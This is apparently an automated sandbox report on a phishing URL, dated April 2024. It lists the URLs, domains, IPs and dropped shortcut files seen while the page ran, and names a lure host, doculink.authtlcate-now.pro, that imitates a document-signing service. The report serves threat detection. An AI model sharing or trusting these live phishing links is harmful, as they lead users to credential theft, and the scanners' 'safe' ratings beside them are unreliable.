https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBNjE4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--ce055e808889d413a54d00ae1288f9226dde9842/fhf.png	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/API.php?data=mail&email=GoFuckYourself@Fuckyou.com&_=1714051872957	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/APP-3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff53/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff54	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
https://bam.nr-data.net/1/041b6d5c93?a=582529278&v=1.257.0&to=cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ&rst=7878&ck=0&s=d5e2078099f3d04d&ref=https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d&ap=158&be=1304&fe=5887&dc=1732&fsh=1&perf=%7B%22timing%22:%7B%22of%22:1714051805377,%22n%22:0,%22f%22:18,%22dn%22:108,%22dne%22:224,%22c%22:224,%22s%22:224,%22ce%22:780,%22rq%22:780,%22rp%22:1305,%22rpe%22:1489,%22di%22:3035,%22ds%22:3035,%22de%22:3036,%22dc%22:7189,%22l%22:7189,%22le%22:7191%7D,%22navigation%22:%7B%7D%7D&fp=2104&fcp=2104	0%	Avira URL Cloud	safe
https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBNjE4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--ce055e808889d413a54d00ae1288f9226dde9842/fhf.png	0%	Virustotal		Browse
https://doculink.authtlcate-now.pro/cdn-cgi/challenge-platform/h/b/rc/879eb051688c6769	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/1	0%	Avira URL Cloud	safe
https://www.gstatic.c..?/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__.	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/ASSETS/img/m_.svg	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/CAPdzM3YXV0SGkyQmRJUVJ5	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/favicon.ico	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/jq/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6330	0%	Avira URL Cloud	safe
https://rickhome.com//securedoc/	0%	Virustotal		Browse
https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBMnQ4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--720f0239b2f78880da8dd87337065e3ede51a191/Pages%20from%207953%20Cedar%20Drive%20Offer%5B83%5D.jpg	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/ASSETS/img/sig-op.svg	0%	Avira URL Cloud	safe
https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHB	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/boot/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6335	0%	Avira URL Cloud	safe
https://bam.nr-data.net/events/1/041b6d5c93?a=582529278&v=1.257.0&to=cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ&rst=18493&ck=0&s=d5e2078099f3d04d&ref=https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/captcha/style.css	0%	Avira URL Cloud	safe
https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBNXQ4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--a14dfb6e4a77147fc68f3ab0dc4f0cd5ffd6d000/Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg	0%	Avira URL Cloud	safe
https://bam.nr-data.net/events/1/041b6d5c93?a=582529278&v=1.257.0&to=cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ&rst=27886&ck=0&s=d5e2078099f3d04d&ref=https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/x/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff59	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/captcha/logo.svg	0%	Avira URL Cloud	safe
https://doculink.authtlcate-now.pro/js/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6337	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fastly-tls12-bam.nr-data.net	162.247.243.29	true	false	0%, Virustotal, Browse	unknown
a.nel.cloudflare.com	35.190.80.1	true	false		high
contentsnare-production.s3-accelerate.amazonaws.com	18.244.197.147	true	false		high
code.jquery.com	151.101.66.137	true	false		high
doculink.authtlcate-now.pro	172.67.159.67	true	false	0%, Virustotal, Browse	unknown
js-agent.newrelic.com	162.247.243.39	true	false		high
challenges.cloudflare.com	104.17.2.184	true	false		high
www.google.com	142.251.15.99	true	false		high
img.robly.com	108.139.15.45	true	false		high
api.contentsnare.com	34.231.99.77	true	false	0%, Virustotal, Browse	unknown
robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com	54.201.220.248	true	false		high
rickhome.com	5.172.176.24	true	false	0%, Virustotal, Browse	unknown
bam.nr-data.net	unknown	unknown	false	0%, Virustotal, Browse	unknown
app.robly.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doculink.authtlcate-now.pro/o/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff82	false	Avira URL Cloud: safe	unknown
https://rickhome.com//securedoc/	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBNjE4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--ce055e808889d413a54d00ae1288f9226dde9842/fhf.png	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	false		high
https://doculink.authtlcate-now.pro/API.php?data=mail&email=GoFuckYourself@Fuckyou.com&_=1714051872957	false	Avira URL Cloud: safe	unknown
https://doculink.authtlcate-now.pro/APP-3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff53/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff54	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw	false		high
https://js-agent.newrelic.com/nr-rum-1.257.0.min.js	false		high
about:blank	false	Avira URL Cloud: safe	low
https://bam.nr-data.net/1/041b6d5c93?a=582529278&v=1.257.0&to=cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ&rst=7878&ck=0&s=d5e2078099f3d04d&ref=https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d&ap=158&be=1304&fe=5887&dc=1732&fsh=1&perf=%7B%22timing%22:%7B%22of%22:1714051805377,%22n%22:0,%22f%22:18,%22dn%22:108,%22dne%22:224,%22c%22:224,%22s%22:224,%22ce%22:780,%22rq%22:780,%22rp%22:1305,%22rpe%22:1489,%22di%22:3035,%22ds%22:3035,%22de%22:3036,%22dc%22:7189,%22l%22:7189,%22le%22:7191%7D,%22navigation%22:%7B%7D%7D&fp=2104&fcp=2104	false	Avira URL Cloud: safe	unknown
https://doculink.authtlcate-now.pro/cdn-cgi/challenge-platform/h/b/rc/879eb051688c6769	false	Avira URL Cloud: safe	unknown
https://doculink.authtlcate-now.pro/1	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api2/reload?k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw	false		high
https://www.google.com/recaptcha/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/210437745:1714048022:Dj_BjBVN3qSjjU0vh97END1ep2-gHjFWxN7G3ScUWQE/879eb051688c6769/8c6b23695c6ef4f	false		high
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA4FZyNsaNE7-9uQkNBql1kxIYkOSyDw6ux814X4q-qVDRD-GTznrIshOU9-qF9Banu-WAyZ3DJM9mqROfBcPxrWwIosE3BC2sGY434woUXFGDcCL9Cmu0nvsy6OO0HrsSrzS5PCKeh6sI5Fc7mgdOw0F5UDaA1x2yjVGl7EVLbUUG9AK6egYXmp1k5sLEwJmISM6yGH&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw	false		high
https://doculink.authtlcate-now.pro/ASSETS/img/m_.svg	false	Avira URL Cloud: safe	unknown
https://doculink.authtlcate-now.pro/CAPdzM3YXV0SGkyQmRJUVJ5	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw&co=aHR0cHM6Ly9hcHAucm9ibHkuY29tOjQ0Mw..&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=invisible&cb=p8li93kl222n	false		high
https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m	false		high
https://doculink.authtlcate-now.pro/favicon.ico	false	Avira URL Cloud: safe	unknown
https://doculink.authtlcate-now.pro/	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/879eb051688c6769/1714051839197/XZM7Ab2ULlZmj4F	false		high
https://doculink.authtlcate-now.pro/jq/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6330	false	Avira URL Cloud: safe	unknown
https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBMnQ4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--720f0239b2f78880da8dd87337065e3ede51a191/Pages%20from%207953%20Cedar%20Drive%20Offer%5B83%5D.jpg	false	Avira URL Cloud: safe	unknown
https://www.google.com/js/bg/fyCF3lmo_OYnC_9rGWUF-CeQvtOEKKrTUK_XXS1Fd1s.js	false		high
https://a.nel.cloudflare.com/report/v4?s=DNrrTP%2BthHQnzXetOuBE46jcix3fiDrvZ2m76gAymS3YGYNW6BzDriTNZzmoW26yOfchKfTFXXAMvYWtqcVwW1suRpxe36d6ThcBGATTwARA6FXAPCW4VbnVxbVKO8M8jks6cVTZqHG7BJRvHRk%3D	false		high
https://doculink.authtlcate-now.pro/ASSETS/img/sig-op.svg	false	Avira URL Cloud: safe	unknown
https://doculink.authtlcate-now.pro/boot/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6335	false	Avira URL Cloud: safe	unknown
https://bam.nr-data.net/events/1/041b6d5c93?a=582529278&v=1.257.0&to=cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ&rst=18493&ck=0&s=d5e2078099f3d04d&ref=https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	false	Avira URL Cloud: safe	unknown
https://doculink.authtlcate-now.pro/captcha/style.css	false	Avira URL Cloud: safe	unknown
https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBNXQ4TlE9PSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9pZCJ9fQ==--a14dfb6e4a77147fc68f3ab0dc4f0cd5ffd6d000/Pages%20from%202024-2025%20April%20Caleb%20Lease.docx.jpg	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=879eb051688c6769	false		high
https://img.robly.com/assets/v2/public/landing_page/index-6496ce865c034b4fe3e0da5aa72ed444ff1bfdc0521fb3e17e24a979bbb8c14c.js	false		high
https://bam.nr-data.net/events/1/041b6d5c93?a=582529278&v=1.257.0&to=cF5fRRZcDQ5TExkRRFFdWFJLXwAMUghYBm5DUFZUS1oPBlMZ&rst=27886&ck=0&s=d5e2078099f3d04d&ref=https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/879eb051688c6769/1714051839199/057fb2c5758a1dcb71c7532e6ca2bfdf706648b589010795445a7cd5589ae80a/ZT-PUPXmihIYWwI	false		high
https://doculink.authtlcate-now.pro/x/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff59	false	Avira URL Cloud: safe	unknown
https://doculink.authtlcate-now.pro/captcha/logo.svg	false	Avira URL Cloud: safe	unknown
https://doculink.authtlcate-now.pro/js/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6337	false	Avira URL Cloud: safe	unknown
https://app.robly.com/favicon.ico	false		high
https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6	true		unknown
https://www.google.com/js/bg/lkTXq49YG5_ej1w7m4T9Nw_1Lx1Ocd1gteWQpsfV_Tk.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_125.1.dr	false		high
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://support.google.com/recaptcha#6262736	chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://cloud.google.com/contact	chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://www.google.com	chromecache_125.1.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_117.1.dr	false		high
https://support.google.com/recaptcha/#6175971	chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://www.gstatic.c..?/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__.	chromecache_148.1.dr, chromecache_132.1.dr	false	Avira URL Cloud: safe	low
https://www.google.com/recaptcha/api2/	chromecache_121.1.dr, chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://www.docusign.com/features-and-benefits/mobile?utm_campaign=GBL_XX_DBU_UPS_2211_SignNotificat	chromecache_93.1.dr	false		high
https://support.google.com/recaptcha	chromecache_132.1.dr	false		high
https://api.contentsnare.com/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHB	chromecache_93.1.dr	false	Avira URL Cloud: safe	unknown
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://recaptcha.net	chromecache_132.1.dr	false	URL Reputation: safe	unknown
https://www.apache.org/licenses/	chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://adservice.google.com/pagead/regclk	chromecache_125.1.dr	false		high
https://getbootstrap.com/)	chromecache_117.1.dr	false		high
https://cct.google/taggy/agent.js	chromecache_125.1.dr	false	URL Reputation: safe	unknown
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_132.1.dr	false		high
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_148.1.dr, chromecache_132.1.dr	false		high
https://td.doubleclick.net	chromecache_125.1.dr	false		high
https://www.merchant-center-analytics.goog	chromecache_125.1.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_117.1.dr	false		high
https://stats.g.doubleclick.net/g/collect?v=2&	chromecache_125.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
44.240.79.212	unknown	United States	16509	AMAZON-02US	false
172.67.159.67	doculink.authtlcate-now.pro	United States	13335	CLOUDFLARENETUS	false
172.253.124.147	unknown	United States	15169	GOOGLEUS	false
104.17.3.184	unknown	United States	13335	CLOUDFLARENETUS	false
34.231.99.77	api.contentsnare.com	United States	14618	AMAZON-AESUS	false
142.251.15.99	www.google.com	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
54.201.220.248	robly-6-production-webs-629982955.us-west-2.elb.amazonaws.com	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
162.247.243.39	js-agent.newrelic.com	United States	13335	CLOUDFLARENETUS	false
104.21.34.108	unknown	United States	13335	CLOUDFLARENETUS	false
108.139.15.45	img.robly.com	United States	16509	AMAZON-02US	false
5.172.176.24	rickhome.com	Russian Federation	20712	AS20712AndrewsArnoldLtdGB	false
172.253.124.99	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
162.247.243.29	fastly-tls12-bam.nr-data.net	United States	13335	CLOUDFLARENETUS	false
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.244.197.147	contentsnare-production.s3-accelerate.amazonaws.com	United States	16509	AMAZON-02US	false
108.177.122.99	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431660
Start date and time:	2024-04-25 15:29:38 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.troj.win@19/112@46/21
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.177.94, 74.125.136.101, 74.125.136.102, 74.125.136.100, 74.125.136.113, 74.125.136.138, 74.125.136.139, 74.125.136.84, 34.104.35.123, 64.233.177.95, 64.233.185.94, 74.125.136.95, 74.125.136.97, 108.177.122.100, 108.177.122.101, 108.177.122.139, 108.177.122.113, 108.177.122.102, 108.177.122.138, 173.194.219.95, 142.250.105.95, 172.217.215.95, 74.125.138.95, 64.233.185.95, 64.233.176.95, 108.177.122.95, 142.250.9.95, 172.253.124.95, 142.251.15.95, 74.125.136.94, 172.253.124.94, 142.251.15.94, 162.247.241.14, 108.177.122.94
Excluded domains from analysis (whitelisted): clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ajax.googleapis.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, www.googletagmanager.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, bam.nr-data.net.cdn.cloudflare.net, www.google-analytics.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 12:30:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9865189783052775
Encrypted:	false
SSDEEP:	48:8JdyTeigWH4idAKZdA1FehwiZUklqehNy+3:8u30qy
MD5:	70E1074BD34F39D8564BAFC5413A38F4
SHA1:	F9B53B50BA3965FD54E05639271B28E687999870
SHA-256:	F51F756CAEFEAA6CC2F6CDB1AE4A8EB1C89E484EDD2F623CCADCE1B1EC3A99AC
SHA-512:	D8C3FFADFEF8CF00585C26C6B547B63C02FE6D3BE59DB4527013105C2082C3BD33F8CC4FD1040FCC52C91D8C17B9988A19EE95777BBC2E0FEF56D55875088741
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....+......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.k....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.k....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.k....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.k..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.k...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 12:30:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.003997437723032
Encrypted:	false
SSDEEP:	48:86dyTeigWH4idAKZdA1seh/iZUkAQkqehay+2:833K9QDy
MD5:	50ADC378FE3908CA13ED08BD9F99A15F
SHA1:	793858781D93EEB0409F24DEF5FEAFDF536BF9CD
SHA-256:	C01979D0C9064F1DF1ED05D2710A85232E1C45815785910989B207D3AC29E19C
SHA-512:	2EE4C72A7D1E44DB83B04DBB0C6214BB8D1D8D06C5C92D9CA64D8D911EEECB1152056F7463DACCDC7E4399634951B68C424C3960F9D63EAB6CDBDAD1339402B3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.k....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.k....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.k....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.k..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.k...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.009295495397683
Encrypted:	false
SSDEEP:	48:8+dyTeiAH4idAKZdA14meh7sFiZUkmgqeh7sQy+BX:8r3Znuy
MD5:	02723985016F4ECC3107FF2B028AEA08
SHA1:	9C23C93BEFDBEDD0124545A1F5E7D9F3C5DE6B95
SHA-256:	DC6B90162D985F715FC50E2882644CB6778EF448E9A31A585AA5CD9F98F8C7ED
SHA-512:	AF5713B6AFC0C718FDAE80D38715BA95163E916517B8E2BC6DCA74367A882CC9F0BE5CF4292ED898EA0CFAF1375CD5976A286EEF632CCD642B8198B8C700AB58
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.k....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.k....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.k....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.k..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 25 12:30:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.002227032678861
Encrypted:	false
SSDEEP:	48:8ndyTeigWH4idAKZdA1TehDiZUkwqehWy+R:8c3hYy
MD5:	0520595CCC67DC8F6D30764B4D9617BF
SHA1:	5661924E3305FDF2CC793543DC5D3A584A076FA1
SHA-256:	5D803D694E46E44C143307D71482D73E45E8744AE5D8363CFE53D27BB81891D4
SHA-512:	288317DD61068C9DC0CED534988A110316539BE24DE41F87C1EE51AD64BEA9A816DC4C2A3B31B90BBCE776826AC72F65D9F32F2E446F4019792E5BEDA8347E10
Malicious:	false
Reputation:	low
